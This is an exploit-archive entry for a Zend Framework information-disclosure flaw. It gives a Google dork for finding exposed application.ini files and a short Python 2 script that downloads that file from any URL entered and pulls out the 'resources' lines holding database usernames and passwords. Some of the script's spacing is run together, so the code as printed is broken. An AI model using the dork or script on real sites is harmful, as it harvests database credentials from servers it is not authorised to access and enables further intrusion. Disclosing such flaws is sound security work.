Zend-Framework - Full Info Disclosure

# Exploit Title : Zend-Framework Full Info Disclosure

# Google Dork : inurl:/application/configs/application.ini

# Date : 26/11/2013

# Exploit Author : Ariel Orellana

# Vendor Homepage : http://framework.zend.com/

# Category : Web applications

# Tested on : GNU/Linux

  

#[Comment]Greetz : Daniel Godoy

  

#[PoC] :

#The username and password of the database may be obtained trough the "application.ini" file

  

#Vulnerable page : http://target.com/application/configs/application.ini

  

  

#!/usr/bin/python

importstring

importre

fromurllib2 importRequest, urlopen

disc ="/application/configs/application.ini"

url =raw_input ("URL: ")

req =Request(url+disc)

rta =urlopen(req)

print"Result"

html =rta.read()

rdo =str(re.findall("resources.*=*", html))

printrdo

exit